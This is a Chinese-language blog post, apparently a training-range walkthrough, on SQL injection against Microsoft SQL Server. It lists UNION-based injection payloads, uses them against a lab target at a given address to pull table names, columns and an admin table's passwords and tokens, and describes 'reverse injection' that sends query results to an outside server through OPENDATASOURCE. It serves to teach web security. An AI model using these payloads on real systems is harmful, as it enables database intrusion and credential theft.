MSSSQL注入-反弹注入

举报
xcc-2022 发表于 2023/02/24 21:44:11 2023/02/24
【摘要】 知识梳理SQL注入原理:用户输入的数据可以被拼接到原有代码执行SQL注入基本流程:(1). 判断注入点,例:数字型:id=1 and 1=1 页面正常id=1 and 1=2页面不正常;字符型:单双引号、括号闭合,观察页面是否正常;使用sleep()观察页面是否存在延迟;(2)猜解字段数,例:and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数(3)查看显错点and ...

知识梳理

  1. SQL注入原理:用户输入的数据可以被拼接到原有代码执行
  2. SQL注入基本流程:
  • (1). 判断注入点,例:
    数字型:id=1 and 1=1 页面正常id=1 and 1=2页面不正常;
    字符型:单双引号、括号闭合,观察页面是否正常;
    使用sleep()观察页面是否存在延迟;
  • (2)猜解字段数,例:
    and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数
  • (3)查看显错点
    and 1=2 union select 1,2,3通过发现显错位置可以知道在哪里输出想要的信息
  • (4)查询库名、表名、字段名、字段内容
    可以通过查询系统自带库information_schema来获取想要的内容。
    -查询库名
    union select 1,2,database()
    -查询表名
    union select 1,2,table_name from information_schema.tables where table_schema = database()
    -查询字段名
    union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
    -查询字段内容
    union select 1,column1,column2 from table_name limit 0,1
    group_concat可以将多行数据整合到一行输出
    union select 1,2,group_concat(flag) from TABLE_NAME
  1. 反弹注入原理
反弹注入就是利用SQL SERVER的opendatasource() 函数,来将查询结果发送到另一个外网服务器的SQL SERVER数据库中。
首先在自己用来接收查询结果的外网服务器中,搭建好SQL SERVER数据库的环境,然后建立一个具有管理权限的数据库账户
使用条件
能够堆叠查询,堆叠查询用;结束前一个语句,并执行下一个语句。
没有回显的注入,支持opendatasource函数

靶场演示(显错注入)

靶场地址

地址http://59.63.200.79:8015/?id=1

确认注入点

尝试闭合,页面正常存在注入点


image
判断字段数

' and 1=1 order by 3 --q 页面正常
' and 1=1 order by 4 --q 页面报错
说明存在三个字段(其实可以直接看出来,走个流程)


image
判断显错位置

'and 1=1 union all select 1,2,3 --q 页面报错,说明不是MYSQL数据库,尝试使用空值构建语句
'and 1=1 union all select null,null,null --q页面正常



image

'and 1=1 union all select 1,'null','null' --q页面正常说明2-3为字符串


查询表名

多次尝试发现数据库是MSSQL数据库
利用MSSQL自带表获取用户自建表
'union all select id,name,'null'from sysobjects where xtype='U' --q
PS: xtype=U表示是用户创建的表,=S是系统表


image


查询字段名

'union all select null,name,null from dbo.syscolumns where id=1977058079 --q


image

得到四个字段id,passwd,token,usernanme;

查询字段内容

'union all select id,passwd,token from admin --q


image

得到flag: zkaq{e9c9e67c5}

反弹注入

登陆公网服务器
新建带有四个字段的表,需要和反弹的表字段数相同


image

用opendatasource函数进行反弹注入。OPENDATASOURCE(provider_name,init_string)
provider_name为用于访问数据源的OLE DB 提供程序的PROGID的名称
init_string为连接地址、端口、用户名、密码、数据库名
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称





【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。